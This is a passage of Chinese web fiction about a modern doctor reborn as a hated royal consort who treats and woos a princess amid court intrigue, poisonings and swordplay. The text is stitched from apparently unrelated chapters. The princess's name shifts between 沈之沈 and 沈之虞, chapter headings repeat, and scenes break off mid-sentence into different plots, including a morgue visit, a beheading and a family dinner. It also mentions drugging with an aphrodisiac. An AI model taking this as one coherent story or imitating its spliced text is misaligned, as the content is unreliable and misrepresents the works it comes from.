可那是疼爱自己多年的父亲,上辈子沈之沈觉得,父皇只是被臣工所迫,经历了那么多后,她才明白,一切都是为了那至高无上的皇权,父皇爱她,更爱皇权。 沈之沈收回视线,她担心自己再多看季平安一眼,就会掐上季平安的脖子。 哪知季平安上去就抓住了她的手把脉。 沈之沈:“?”她挣扎的时候才发现,自己一点儿力气都没有,身上软绵绵的,不像挣扎,倒像撒娇。 季平安感受着沈之沈如刀般的目光,故作淡定,“醒得太早,马上要晕。” 随后她在心中倒数三二一,刚数到一,沈之沈的脑袋往边上一歪,就晕倒了在了床上。 春归急切地抓住了季平安的衣服,“驸马,殿下这是怎么了?” “你先放开我。”季平安无奈地把衣角从春归手里抽回。 春归蹙眉放开了她的衣服,她这才道:“我刚刚不是说了吗?她醒得太早了,身体只是短暂平复下来,不知道她为何会醒。” 嘴上说不知,季平安心中知道,这是没有安全感的表现,应该是梦到什么,这才被迫醒来,情绪再次大起大落,这一下,沈之沈怕是要养上一段时间才能好了。 春归担忧道:“那殿下身体如何。” 季平安故作遗憾地摇摇头,见春归越来越担忧才道:“需要医者贴身守着。” 刚好给她创造刷沈之沈好感的机会,她要先挽回自己的形象,总不能真的等死吧。 春归点头,“臣已让人去请太医了,院使不能随意离宫,刘院判与另外两位御医会来。” 呃……来了这么多人,她怎么守着沈之沈刷好感。 季平安的危机感太强烈了,第一个计划就无法施展吗? 沈之沈那么恨前身,铁定不会让她活,不过她也能理解,以前身的名声,谁敢让她守在公主旁边。 春归更担心,她老在公主面前晃,公主真的会忍不住杀了她,到时候无法交代。 太医院院判带领两个御医来后,他们帮沈之沈诊断了许久,颇像专家会诊,明明知道沈之沈中的什么毒,现在好没好,偏要极尽谨慎,生怕出了一点儿差错。 生生地过了半个时辰,刘院判才开口,“驸马,春归上官,公主殿下的用药没有问题,甚至更为精湛,不过公主殿下多思,需要休息一段日子,这期间不可有乾元靠近,所以只能用医者守着。” 刘院判看了一眼季平安又道:“哦,驸马除外。” “只是,殿□□内被烧得很严重,怕是会有遗留病症。” 春归的手紧握住,她明白了,怪不得公主殿下那么屈辱,无论是郑御医,还是刘院判都不肯直说,反倒是一直绕弯子,原来殿下中的是春*药。 她在暖阁里面捡到一个药瓶,只要让人一看就知道是什么,可惜善医的秋来没有回来,否则就不必这么麻烦。 季平安也是乾元,如若乾元不能靠近,那她也不能靠近,殿下绝不能出现任何意外。 “没有法子让殿下尽快好起来吗?不能让殿下遗留病症。”春归深知太医院的医者都是打杂的,那些御医不会把医术交给他们,更别提里面的坤泽了。 说白了,医者的医术,春归信不过,当然要太医守着治疗。 刘院判摇头,“要是郑御医的清凉丸也无用的话,太医院也没法子,只要继续用这张药方,三五日差不多能正常下地。” 春归捏紧了衣角,旁听的夏去握紧了拳头,眼睛恶狠狠地盯着季平安。 季平安立即轻咳一声吸引了众人的注意,“我有法子。” 沈之沈当了多年的长公主,她本身就聪慧无比,皇权斗争中学到了许多,对人心有着自己的理解。 一个坏到骨子里的人,做什么都是想利己的。 季平安也知道,有些事情不可能一蹴而就,她的眸子看了一眼沈之沈放在被褥里的手。 沈之沈敢跟她单独在暖阁,肯定早有准备。 “我知道你暂时不会信我,我只想你能给我一个机会,就算留在你身边伺候你都行。” 堂堂博士,穿到古代伺候女人也是没谁了,季平安还有很多事情要做,来到古代她最想做的事就是,学习古代医术,与自己学到的东西对照,最好能跟中医的那些前辈一样,惠及万民。 中医发展数千年,有着自己的魅力,季平安甘愿为中医事业奋斗终身,可要是死了,她就什么都做不了了。 沈之沈冰冷的视线掠过季平安的脸庞,“孤乃大周长公主,会缺伺候的人?” 季平安语塞,“我会医。” “我有秋来。” 季平安不知道秋来的医术怎么样,也不能说自己的医术就比别人好了,她只是药方针灸推拿这块比较好。 还有什么?总不能说自己身体倍棒,能做保镖吧?夏去可是正经的练家子,别说,沈之沈身边什么样的人才都有。 而她有什么优势能留下来? 季平安想说自己的推拿技术绝对是一等一的,试过的人都说好,一套下来如获新生,身体瞬间轻盈了,但沈之沈肯定不让她碰。 “我还会五术。” 武术? 谁不知道这个人渣自己走路都能摔了,前些日子跟人打架,连个半大的孩子都没打过。 季平安说的五术是道家的山医命卜相,她主学医,别的多少知道一点。 她见沈之沈不信,也没有过多解释,随即又想到了自己的一个作用,“殿下经过这遭,雨露期时身体会更难受,我能让殿下的信香彻底稳定下来。” 谁家乾元这么一身正气地说坤泽的信香,那不是耍流氓嘛! 沈之沈:“滚出去!” 季平安:“?” “殿下放心,我一定会伺候好殿下的。” 乾元稳定信香的办法是标记,她这句话,更让沈之沈确定了,她想标记自己,这一刻,她恨不得直接杀了这个人渣。 于是拿起枕头就要砸。 季平安二话不说就准备往外走,到暖阁门口时,她忽然想起一件事,立即转身问道:“我要出府一趟,殿下有东西让我带吗?” 季平安迎来的只是沈之沈砸过来的枕头,那枕头是玉的,砸身上可不轻,古人喜用玉枕木枕,怪不得颈椎好呢。 季平安快步走出了暖阁,沈之沈闭上眼睛,一边平息着心中的怒气,一边想着今日季平安的表现,还有与她说的话,神色莫名。 等季平安离开,春归走了进来,“殿下,驸马好像有些奇怪,不仅不像以前她的了,居然还会医。” 不过以前的驸马坏事做尽,为了与公主成亲,什么恶心的手段都使出来了,就算救了殿下,可那本就是她犯下的错。 春归还有一件事要说,刚刚人多不太方便,“昨日宝安王还带来一个消息,有人打着公主府的旗号在外兼并民田,还逼死了人。” 沈之沈蹙眉,这件事她知道,那人的家人一头撞死在了宫墙外面,父皇只能下旨让大理寺审理此案,结果查出事情是公主府做的,最后大理寺只杀了庄子上的管事,哪怕她没什么事,脏水也泼到了她的身上。 事情是淮安侯府借着公主府的名头做的,只因季平安是驸马,一切的坏事都落在了她的头上。 “保护好那家人,安排他们去报官,还有,派两个暗卫跟着季平安,把她的事情事无巨细,全都跟孤讲。” 既然重生了,沈之沈就不想太被动,事情都掌控在自己手里才好。 春归有些惊讶,公主最不爱听到驸马的事情,现在怎么下了这样一个命令,但她也不敢多问,转而吩咐了下去。 她还听下面的人说了一件事,立即回禀,“殿下,有人说,驸马要去淮安侯府。” 淮安侯府? 沈之沈沉默了一会儿,“查查季平安回淮安侯府是做什么。” 她在想季平安是孤魂夺舍,还是本人重活? 这个时候季平安突然要回淮安侯府,很有可能与兼并民田有关,上一世她查出这件事是淮安侯府做的,只是证据已经销毁,但逼死人这件事是侯府世子做的,与季平安无关,可当时季平安却站出来说,这是自己受她的命令做的。 以至于外界对公主府兼并民田深信不疑。 如果季平安是重活的,她一定会回侯府提前避免这件事,这件事对她的影响也很大,只是靠着公主府才没事,重活一世,她应当能人情,自己除了驸马就什么也不是了,这一世总不能再重走老路。 若季平安跟自己一样是重生,那就要尽快把人除掉了,沈之沈的眸子闪过一丝狠辣。 沈之虞看着季平安脸上变来变去的神情,难得出声问道:“怎么了?” 没怎么,就是觉得亏大了! 但这话自然不可能说出来,季平安换了个话题,道:“殿下回去记得抹药。” 马车渐渐慢了下来,也快回到公主府了。 沈之虞不解,问道:“抹什么?” 季平安:“……” 她轻轻地叹了口气,动作轻柔,指腹点到沈之虞的腿弯处,便感觉到指尖下微微绷紧的小腿。 她才抬眼,温声问道:“殿下,在宫里跪了那么长时间,不疼吗?” 第 68 章 第 68 章 皇帝为了演戏,让她们跪了很长一段时间。 坐在马车上,季平安膝盖的位置还是隐隐作痛。 哪怕被衣服遮着,暂时看不到膝盖是什么情况,也能猜出来,青紫是避免不了的。 沈之虞比她跪的时间还要长,青紫只可能比她的更严重,怎么可能不疼。 也就只有沈之虞能问出来“抹什么”这句话。 季平安这样想着,又忍不住重重地叹了口气。 沈之虞这次也没有隐瞒她,只是不把受的伤放到心上而已。 她算是明白了,在让对方注意身体这件事上,哪怕有承诺还是不能完全相信,今后还是要多盯着些。 直到太阳落山,沈之沈的体温才恢复正常。 季平安累了一身汗,暖阁里面又热又闷,再加上沈之沈的信香不停地在释放,她是身心双重煎熬。 还好她用银针封住了自己的嗅觉,沉浸施针后,身上的反应就好过许多,没多久老太医又送来了清凉丸,吃下后虽然没有彻底让她清凉起来,但随着她的施针,沈之沈的身体平稳了下来,停止了释放信香。 直到这个时候,季平安才能安心治疗。 专注施针两三个时辰,她身上的衣服都湿掉了。季平安叮嘱完就立马走了出去,她选择去厨房随便吃点儿,然后亲自帮沈之沈熬药,总比留在暖阁好。 说不得什么时候沈之沈没忍住,匕首直接扎到她身上了。 得让沈之沈再冷静冷静,盘算一下,是现在杀了她好,还是先留她一条命的好。 季平安现在缺的就是时间,只要有时间,她就多了改变命运的机会,哪怕只有一丝,不试试怎么知道呢? 公主府的厨房还挺好找的,她到药房里面拿了药材去熬药。 等婢女准备来熬药的时,看到季平安季疑了一会儿,“驸马这是做什么?” “当然是给殿下熬药了。” “这种事奴婢来就行了。” 季平安立马护住自己的药炉,“什么叫这种事,给殿下熬药是件大事,我当然要亲自来。” 婢女给自己旁边的人使了个眼色,那人立马离开了厨房。 没一会儿,沈之沈就听到了季平安的原话,婢女一字不落地复述了一遍。 沈之沈表面没什么反应,只是心里有些奇怪,她记得上一世季平安给自己下毒后,就躲到了淮安侯府,她没有机会对季平安怎么样。 后来京都局势越发紧张,就只能暂时留下季平安的一条狗命。 这一世怎么不一样了,季平安不怕死吗?还是她觉得,这一世的结果没有那么糟,就不用躲起来。 沈之沈听春归说了昨日到今天的事,知道是季平安施针开药帮她解的毒,可这个人渣什么时候会医了? 不仅会医,前一刻要害她,后一刻要救她?难道不是趁机施针害她吗? “春归,叫秋来回府。” 不让秋来检查一下身体,她不放心。 春归一愣,“秋来已经在往回赶了,还需三日才能回来,但刘院判与另外几位御医都在府里。” “也罢,让刘院判来为孤诊治。” 沈之沈不觉得季平安会那么好心,也从未听闻过季平安会医,虽然重活一世,她没有成为废人,但万一自己的身体被做了手脚,还是要谨慎些。 不得不说,季平安在沈之沈这里,好感度是负的,没有尽头的那种。 刘院判早早地在外等候,听到公主召唤,立马入内行礼诊治,半晌才道:“殿下身体还有些虚弱,需再休养两日,按照驸马开的药就好,驸马的药方,臣叹为观止。” 沈之沈:“……”她要看的是这个吗? 季平安端着药进来,看到刘院判,就知道沈之沈在担心什么。 她把药递给一旁的婢女,“殿下,该喝药了。” 这药正经得很,沈之沈该不会以为自己药送她归西吧? 季平安挖起一勺喝了,脸立马皱在了一起,这副身体没有经常试药,对苦没有什么免疫力。 她缓了一会儿才道:“温度正好,能喝,得加蜜饯。” 夏去被她逗笑了,“驸马还怕喝药啊?” 夏去很讨厌季平安,能怼就怼,驸马又怎么样,品级还没她高呢。 非乾元不能为官,这是大周的规定,她们这些人是陛下为公主殿下开的先例,公主贴身伺候的人都是坤泽,只有前院的那些王傅,长史才是乾元。 能以坤泽之身受封将军,付出的努力是乾元的百倍千倍,夏去脾气不太好,直来直去的,能受封正五品将军,凭借的都是实力,没有一点儿水分,所以她一直看不惯前身。 季平安知道夏去冲的是前身不是自己,并不在意她的态度,“不怕喝药,怕苦。” “那还能有甜的药吗?”夏去嗤笑一声。 “未必不能有。” 现代许多中成药味道偏甜,还不影响药效,季平安觉得自己研发出来,肯定很受欢迎。 特别是治疗风寒的药,大人小孩都合适。 对哦,季平安突然找到了自己穿越后第一桶金的赚取方法。 以后等局势稳定下来,她想要离开京都,最不能缺的就是银子,有了银子,她选一个不错的地方盖上一座小院,开个药铺,心情好了做义诊,心情不好就关门,想想就挺不错的。 前提是她药改变沈之沈对自己的恨意,能成功地离开京都,从这个夺嫡漩涡里脱身。 就是她没有机会跟沈之沈单独相处,不然倒是可以解释一下自己不是前身。 听着两人的对话,沈之沈面无表情地把药喝了,然后示意夏去说正事。 夏去路过季平安身边冷哼,随后禀报,“殿下,春归在您的暖阁里发现了春*药,随着臣的调查,找到了药贩子,据此人言,药是驸马买的。” 同样是过了一夜,怎么你能调查这么多。 季平安简直无力狡辩,她能当着这么多人的面,说自己不是人渣前身吗? 她还是解释了一句,“我说不是我买的,殿下信吗?” 沈之沈一双眸子不带任何情感,视线平静地落在她的身上,冷硬道:“孤不信。” 季平安:“……”所以不管她做没做,只要沈之沈这么认为,她就摘不掉这个帽子。 这话说得太女王了,可是听的人是她,就很难受了。 这件事确实是她这副身体做的,不过沈之沈怎么这么笃定?正常发展,她奋力救治,也能排除嫌疑了,除非沈之沈知道就是她做的。 前身先把沈之沈给迷晕,再喂的药,沈之沈迷蒙醒来时,人已经换成她了,她正在挽救中,哪怕夏去说她买了药,也不能证明就是她。 季平安在心里,更加怀疑沈之沈重生了,因为发生过,所以很确定,总不能说前身人品太差,除了她没别人吧? 呃……也不是不可能。 季平安内心轻哼,表面不动声色,“殿下今日还需扎针。” 扎针放血对沈之沈是有好处的,疼也是有一点点的。 她也不等沈之沈同意,精致坐到了床边,“银针拿来。” 旁边的郑翳看热闹不嫌事大,立刻把银针递给了她。 春归上前,“不是说只用吃药就好了吗?” “殿下火气太大,与常人不同。”季平安可不是公报私仇,她看出来了,沈之沈心思沉重,普通人休养三天能好,沈之沈还* 得扎针辅助一下。 听到要扎针,沈之沈就想到昨安昏昏沉沉之际,被季平安褪去衣裳,银针扎在后背上,只是想想,她的怒气升腾而起,身上散发着如冰山般的冷气。 冻的季平安一个颤抖,抬眸看过去,就发现了沈之沈想刀人的眼神。 沈之沈身上有种从尸山血海中走出来的气势,别说是现代人,就算是古代,除了真上过战场的将军,谁有这个气势? 郑翳都偷溜出去了,只有春归夏去还留在原地。 可季平安是个医生,不管是谁,在治疗的时候都要乖乖的,“殿下,要听医者的话。” 沈之沈冷眼看着她,“你想做甚?” “臣不是说了吗?扎针。”季平安晃了晃手中散发着银光的银针。 沈之沈:“……” 春归吩咐旁边的婢女,“给驸马准备暖阁沐浴,叫人伺候着,再叫太医来看。” 春归说的暖阁,是沈之沈日常沐浴的那个,她是长公主身边的大丫鬟,是正五品掌印女官,地位很高,她吩咐下去的话,比季平安这个驸马有用多了。 季平安也没有拒绝,她的胳膊疼得要死,还好没有伤到骨头,不然她坚持不了这么长时间。 泡在温泉里,季平安把胳膊放在池子边上,检查了一下伤口,这么深的伤,肯定会留疤了。 随便看了一眼,她也没当回事,只要不伤到骨头,需要开刀的程度,对她来说都算不上事。 现在最重要的是理顺自己现在的处境,很明显,沈之沈恨不得杀了她,被反派惦记的人,除了主角没人能活下来,主角最后胜利,也付出了极大的代价,属于是伤人一万,自损八千。 今年是圣元二十七年,宝安王作为嗣子之一入京第二年,那皇帝的时间不多了。 想到宝安王,季平安猛地坐了起来,不是说宝安王来访吗?几个时辰过去了,公主府不知道有没有人招待,不过公主府有长史,应该会给一个解释。 她记得小说里面宝安王表面谦和,内心很傲气敏感,谁薄待了他,就会记在心里,然后会加倍的报复回来。 小说想把他塑造成黑莲花,结果塑造成了睚眦必报的形象。 看完小说的季平安始种觉得,如果他不是主角的话,沈之沈是必胜的。 但想到人渣驸马的结局,被削成了人彘,四肢都没了,泡到酒坛子里面只露个头,平时受伤用酒精消个毒都疼得要死,况且是泡酒,季平安只是想想就心里发麻,有一种幻想出来的痛感。 不过有一点儿值得庆幸,她穿来的时候,一切还没有成为定局,虽然只是百分之九十九跟百分之百的区别,但也算是留下一线生机了。 季平安洗漱完,身穿浴袍,等着老太医给她诊治。 老太医满意地点点头,“驸马用药实在是老道,就算是老臣那孙女五岁开始学医,如今在此道已经十五年,与驸马还是相差甚远,有些用药,臣都自愧不如。” 能成为御医的,医术在这个世界都是顶尖的存在,季平安可不觉得自己比老太医厉害,“郑太医实在是太自谦了,我还要多多学习。” 季平安也差不多五岁的时候跟奶奶学道学医,再加上后来经过系统学习,二十年肯定是有了,穿过来后,她的记忆能力有明显提升,以前看过的药方,学过的知识,现在跟刻在脑海里一样。 她的医术差的是实践,但理论知识很厉害,中医大会上,也就那些老中医能凭借经验打一打她了。 老太医咳了几声,应该是今天太劳累了,身体有些吃不消。 “驸马,老臣身体抱恙,可否让臣那孙女为驸马包扎?” “自然。” 老太医把自己的孙女叫进来,看到来人,季平安眉头轻挑,是个坤泽? 老太医似没有看到她的讶异,转而介绍道:“这是臣的孙女郑翳,翳珀的翳,她医术虽好,可无法考取太医院,只能跟在臣身边行医,今日驸马要坤泽医者,她正好回家了。” 实际上老太医是怕出现什么事,自己这条老命丢了就丢了,可不能连累孙女,刚好孙女不在,就没有让人去叫。 季平安点点头,伸出手让郑翳包扎,她只裹了浴袍,郑翳没什么表情变化,她也没有觉得有什么,都是女人,尽管知道这个世界有乾元,坤泽,和元之分,事实上女性之间除了信香的区别,各方面都是一* 样的,而和元没有信香。 季平安刚传过来,对乾元坤泽还没有什么实感,再说医者仁心,旁边还有老太医在呢。 郑翳相貌略带英气,看起来有175的样子,还挺高的,往那一坐大马金刀的,脸上没什么表情,只是在认真地包扎,一看就是那种很飒,很直爽的人。 看她的手艺很熟练,显然经常行医。 季平安不由得询问,“太医院不是有医者吗?不限乾元坤泽。” 医者没有品级,也有俸禄,算是太医的助手吧,就像是有编制跟没编制的区别,俸禄是太医院内部发的。 老太医欲言又止,反倒是郑翳用力系了一下她胳膊上的白布,“驸马难道不知,好看的医者,不分乾元坤泽,都算是上官的禁脔吗?” 嗯?季平安蹙眉,还有这样的事情,这不就是大户人家的公子跟书童,令人不齿。 老太医以为她生气了,连忙下跪,“驸马赎罪,臣的孙女无状,臣愿代替受罚。” “祖母!”郑翳气急。 季平安把人扶了起来,“郑太医不必如此,我只是第一次听到这样的事,有些震惊。” 怪不得老太医让郑翳来给她包扎,原来是存着把人留在公主府的意思,难道老太医不知道,她在公主府没什么地位吗? 不过郑翳想要施展所学,公主府确实比别的地方合适。 季平安心中有数,并没有再谈这个事情,公主府是沈之沈的,她不能代替做主。 郑太医带郑翳出去后,她穿上了春归让人准备好的衣服,里衣简单却很柔软,贴身穿很舒适,比她上辈子穿的衣服都舒服得多,外衣是一件纯白色交领袍,上面绣着竹子的花纹,没有上色,就是简单的白色,腰带同色,加了一件成套的外衫,显得她又贵气又有着清冷年少感。 此刻的季平安可能是失血过多,再加上劳累的缘故,脸上唇上没什么血色,尽显清冷破碎感,眉间还有一抹化不开的忧愁,身处如今的环境怎能不愁。 还不知道沈之沈醒来,会怎么处置她呢,想逃又逃不掉,这里可是京都,堂堂驸马逃走,不是在打皇帝公主的脸嘛,被抓到就完了。 一切还得等她熟悉这个世界,才能再做打算。 罢了,还是去看看沈之沈如何了,希望她能看在自己救治了她的份上,放自己一马。 一楼的位置没有屏风遮挡,侧个身就能看到隔壁的饭桌。 说话的声音也听得清清楚楚,还伴随着浓郁醇厚的酒香。 “听说了没有,皇帝陛下给七公主殿下赐婚了?” “这件事在京城都传播了,我早知道了,就是驸马的名字好像没有听过,你知道是谁吗?” “怀化将军,就是虞大将军手下的那位季将军,看样子七公主的驸马是自家人。” “自家人肯定比外人要好些”,一边说着,说话的人抿了口酒,不经意提到:“那翰林院的那位岂不是要伤心了?” 听到翰林院,桌上其余人也知道是谁了。 其中一人接话道:“她和七公主也算得上是青梅青梅,从小一起长大吧,这算不算半路被人截胡了?” 季平安的注意力本来没有在她们的身上,只是听到她们在聊七公主,才好奇地多听了一耳朵。 如今听到这个,她正倒水的手顿了一下。 视线也落到了对面的沈之虞身上。 第 69 章 第 69 章 旁边桌上的人还在继续聊着,“不是有传言说,七公主这次回京失忆了吗?现在说不定都记不得翰林院那位呢。” “你说的也对,那她岂不是连争取的机会都没有?” “那可不一定。” 听到这话,另一人的好奇心也被勾起来了些:“何出此言?” 正听着的季平安也偏了偏头,想知道这个人接下来要说些什么。 “若是她和七公主之前真的有过感情,等七公主恢复了记忆自然也是还能在一起的,只是没有了驸马这个名头而已。” 公主和普通的坤泽不同,府里想收多少人便能收多少人。 小脸上的热气也扑散几分,对啊,眼下还有正事没做。 马车在路上晃里晃荡的终于驶到目的地。 沈之虞下了马车,季平安跟在身后。 上了台阶,季平安看着前方挂起的牌匾潦草的写着那骇人的二字。 沈之虞见她头一缩,讥道:“怕了就去马车里等我。” 季平安一听:“那怎么行?我还要保护你呢。” 沈之虞嗤道:“待会别躲我身后就行。” 季平安什么伸手,掐过她腰的她能不知道? 就一水做的,一推就倒。 真出现意外,按这家伙性格,脚底估计得抹了八层油的速度。 两人到了屋内。 好森冷,铺面而来的寒意使季平安头皮发麻,义庄里好昏暗,跟阴天似的,与外面的艳阳高照完全不在一条线。 沈之虞看她:“站我身后。” 事先准备好的蜡烛,沈之虞一吹,烛火点燃,在这森然诡谲之地亮起一道光。 “好多尸体,不对呀,沈之虞,我们不是来看病的吗?” 这些病人都死了,她去哪里看? 沈之虞观摩四周,一边回她:“这些就是病死的人,你不是会诊断吗?开始吧。” 说完,沈之虞一掀手,一个停尸架子上的白布被她翻开,巨大的白浪覆来,紧接着一个尸体出现在二人眼前,暗色服装,皮肤苍白,她们靠近时,那双紧闭的眼“倏地”睁开~ 季平安惊叫一声,连连后退,c~i~a~o! 吓死娘了。 吚吚呜呜叫了半晌,沈之虞那沉稳的声音响起:“叫完了?” 感觉有什么不对,睁开眼,她已经抱着沈之虞脖子,搁那抖的跟筛糠,在看沈之虞,一脸看戏姿态任由她抱着。 身后那尸体已然起身,对她一笑:“季侍读莫怕。” 十七? 季平安傻了,后知后觉:“你,你先来这的?” 十七点头,而后看者沈之虞:“公主。” 沈之虞道:“发现什么?” 十七道:“这是城中近日所有染了怪病死去的人,都被集中到这里,属下看了,她们死后腹部发肿,后背脊柱有七个由浅极深的红点,从面相上看不出,而且是死后三天才显示出端倪。” 平常人家三天早就下葬,所以这种死法若不是有心人勘测,是绝对看不出问题所在。 “这不就是下毒吗?” 季平安捏着鼻子,看其中一具尸体,摇摇头,满脸嫌弃,好恶心。 而且这是仵作干的验尸,沈之虞把她带来,她只是略通医理,又不会验尸,天呐! 沈之虞到底懂不懂医术跟仵作的区别。 “你倒是说说,下的什么毒?” 沈之虞回看她。 季平安懵了:“我哪知道这个?” 她要是什么都精通,她早就想法子穿出去了。 “不过,我带了银针,可以取一些回去找专业的验尸官看。” 季平安说着从箱子里抽出一根细长的针孔。 沈之虞扶额:“指你那跟针,这里估计都要停满了。” 季平安:?电光火石间,剑尖如星,灵动至极。伴着凛然杀气,那一剑似千锋倾落,剑光璀璨间,血水喷涌。 季平安眼前一片红,脚底却像灌了铅水再也无法上前,她捂着嘴,满是震惊的看着眼前疾风骤雨般的一切。 沈之虞长剑落下,血水滴在大理石地面,抬头,狭长眸底冷漠的扫向她,居高临下的睥睨之姿,无情森冷的肃然杀意尚未来得及掩盖。 她周身流露出的平淡气质,是发自骨子里的淡定从容,与生俱来的威仪,她漫不经心的敛眸,看也不看那低下去的头颅,一字一句道:“忘了告诉你,她已经不在了。” 那女子比她还硬,抓到的瞬间就吻颈而亡,让她来不及拿来做威胁。 可她还是堵了一把,赌她二人间的情意。 索性,她胜了一子。 只是眼下,似乎有比解决这俘虏更麻烦的,前方几丈之地,那双睁大的杏眸,眼底的惊颤,呵呵,她恐怕没见过这场面。 沈之虞有些头疼,拖着长剑向季平安走去。 季平安鼻腔内都是血水的浓腥味,胃里一阵翻江倒海,脑中发昏,看着沈之虞一步一步靠近,那大红拖地长裙形成重影在眼前交叠,身姿曼妙,气质沉稳,在走到她身边半丈之地,季平安脚底发软,一头向前栽去。 沈之虞眼疾手快,单手拖住她腰身,将她拢在胸前,抱着半截柔软,心口抵着心口,沈之虞冷静的眸子闪过焰火,将长剑扔在地上,抱着怀中人离开。 走到门口拐弯处扔下一句:“料理好。” 十七弯腰点头:“是。” 还是第一次,私闯幽庭司不罚还能得到公主r如此待遇,季侍读真是不一样。 十七暗地里咂舌,转身看着那具血水流干的荒芜身躯,离国的人,是她们永远的敌人。 十七上去将绳子解开,拖着对方身子用麻袋包起。 十七难得一笑,对她道:“季侍读,我已经准备好了。” 原来十七才是来干实事的。 那沈之虞把她拉来就是玩的?陪同。 “能看出是什么毒?” 十七蹙眉:“手法诡异,从未听闻。” 她做暗探多年,从未知道还有这种阴狠的毒,中毒之后短时间内跟寻常的风寒没什么区别。 很快,随着毒素蔓延,中毒者会陷入昏迷,高烧不断,暴汗不止,无人知道睡梦中她们会经历什么。 季平安听了中毒者的表现后,脑子一拍。 “我知道了,是梦香。” 书里离国似乎却有一种毒,名为“梦香。” 中毒者的症状与十七描述的正好吻合。 “梦香?” 沈之虞神色复杂的看她。 季平安道:“她们真正恐惧的地方是梦境,这个毒,让人昏迷不醒后就会使人进入梦境,做自己最不愿意面对的事,在恐惧里徘徊,痛苦不已。” “她们身体很痛,精神上受到梦的折磨,整个人会更加痛苦,如果意志坚定可以自行挣脱出来,那就减少一分痛苦。” “不过大多数人都挣脱不开。” 季平安娓娓而来,忽然止住,看到沈之虞怪异的目光。 “你知道的怎么那么清楚?” 季平安脑子一炸,啥? 她只是看书的时候看到的。“殿下。” 十七从外面进来,神色略显慌张。 “怎么了?” 沈之虞见状,十七办事一向稳重,今天难能见她神色展现在脸上。 “黄莺晕倒了。” 沈之虞顿了下,“昨晚接客了?” 十七想了想,道:“晕的奇奇怪怪,梅姨娘找大夫来看,什么也瞧不出,但人就是不醒。” 现在一直昏迷,这么想着也不是办法。梅姨娘急得团团转,揽月坊她又临时走不开,只能让人传信来。 沈之虞放下折子,起身道:“不用慌,我调两个宫医,你带过去看看情况。” 黄莺年纪最小,身体一直爽利,这无端晕过去,还找不到缘由,沈之虞思虑一会,又道:“离国的暗桩已经被拔出,你在加派人手看看有没有漏掉的。” 揽月坊是她的地头,那里不仅是赚去银票最快的地方亦是打听情报最佳地点。 揽月坊不能有意外。 十七点头。 转身离去,与一人撞了满怀。 “哎哎哎” 那人捂着什么,连连后退,将东西抱在怀里。 十七看清来人,惊的失声:“季,季侍读?” 季平安站稳脚跟,笑眯眯回礼:“十七护卫好。” 这要怎么跟沈之虞说,她其实不是真正意义上的季平安呢? “那个,嘿嘿,我爱医术,我母亲给我找过一些江湖老师,哈哈,然后我就从一个老医生那里听来的。” “也是偶然” 沈之虞看她一会,眼底了然:“既如此,解药是什么?” 季平安尴尬一笑:“无解。” 这就是离国狠毒之处,她们给昭国下毒,用的是最新研制出的毒药,根本无解。 不给敌人翻身之地。 毒死了。 沈之虞眸色一紧,萧蕴离。 算命先生只轻轻地摇了摇头。 在摊子上放了块碎银,稍微走远些季平安才问沈之虞道:“他刚才的卦是好还是坏?” 她自己听不懂,但沈之虞肯定能明白对方说的话。 沈之虞道:“他说我们其中有人可能会孤注一掷,逆水行舟,但冥冥之中自有定数,能等到一位有缘人。” 她解释的很清楚,季平安哦了一声。 她忽地把自己的那个泥人拿出来,眨眼问沈之虞:“你觉不觉得,这个泥人就很像有缘人的模样?” 沈之虞:“……” 第 70 章 第 70 章 答应算卦的时候,季平安想的就是照顾下对方的生意,表示下她撞到对方摊子的歉意。 至于能不能算准,她也没有放在心上。 但听完沈之虞解释完卦词后,她觉得这个算命先生似乎也不是完全在招摇撞骗。 原剧情里面,沈之虞弑父杀兄,以坤泽身份登基称帝,成为史上第一位坤泽女帝。 但与之同时出现的是,她被谴责违背祖制、有反天常和伦理。 季平安:“确是瘦了。”何夫人点点头,心疼地说。 “倒是瘦了好。”季寒潭插嘴,“十四岁时那脸胖嘟嘟,挂了足有三斤肉。若是这会儿还那么着,岂非惹人笑?” 何夫人: 何夫人瞪她一眼,横眉立目地问:“安儿究竟是不是你亲生?怎么你半点儿不见心疼?” 季寒潭又笑了:“瞧夫人这话说的,我今儿不是还替她推了一桩麻烦事儿?” “什么麻烦事儿?”季平安有些好奇。 “国师两个时辰前递信儿至将军府,说明儿午后想见你,我说季家的规矩,明儿散席后须得赶着去扫墓,恐不得见。” “为何推说不见?” “你乍回京,许多事不清楚,平日里家安中也不好同你说。”季寒潭忽然压低了声线,“国师此人很玄,同她走得近的都没好下场。你幼时应当也听得一些传闻的,说国师活了三百多年,身负诅咒,命煞孤星,还是离远些的好。” 季平安“哦”了一下。 她将视线从季寒潭脸上挪开,把碎发往耳边捋了捋,看着乖巧听劝,下一秒张口时却转了性儿: “我不,我偏要去会会。” 季寒潭: 季寒潭拽着何夫人诉苦:“夫人你瞅瞅,俗话说得好,女大不由娘。现在我俩说什么都不管用了是不是?” “您说您的,别扯上何娘。”季平安道,“何娘可与你不同,她心疼我。她说话我自然听,您说话我却只得听一半儿。” 季寒潭睨她一眼:“你还真是有个性。” “彼此彼此。” “要不你给我当娘?” 季平安来了兴致,跃跃欲试:“未尝不可。” 季寒潭: 何夫人把衣带从季寒潭手里抽回来,笑着杵了约有半柱香,终于觉得自己光看热闹有些不厚道,遂问:“安儿何故一定要去见国师?为娘也觉得不见的好,传闻虽不一定真,然同国师扯上关系的都不得好死却是实打实的。” “我有分寸,自然不会同她交好。”季平安道,“只是此次回京发生了太多事,我倒是不介意再添上几桩,让水更浑些。阿娘您瞧,回京第一日,皇上赏来的侍子里头便出了刺客,加之长公主” 季平安蓦地一顿。 “长公主如何?”季寒潭问。 “无事。”季平安笑道,“我今儿远远在街上看着了一人,倒像是淮安长公主的模样。” “你认得她?” 季平安说:“曾见过画像。” 见过个屁。 季平安说得坦然,却一面言语,一面在心里反驳。 军营里哪来的长公主画像?若真见过画像,认得人,对那拦路的姑娘出手相帮之前她定会多思虑些,也不至于草草答应。 季寒潭道:“那就好。最好也莫同淮安长公主扯上关系。” 季平安眉眼稍动:“此话怎讲?她这人也玄?” “这倒不是。”季寒潭说,“朝中局势动荡,一时间各类繁复的关系也难同你说清。我现简单一说,你略听听。朝中帝姬间现分三股大势力,大帝姬为一股,二帝姬为一股,三、四帝姬都没养大,五帝姬又为一股,余下的帝姬形容尚小难成势。” “二帝姬与长公主走得极近,许多人都将长公主划为二帝姬党。咱们季家效忠皇上,还是莫沾上关系为好,以免惹皇上猜忌。” 季平安: 娘,你说晚了。 床都上过了。 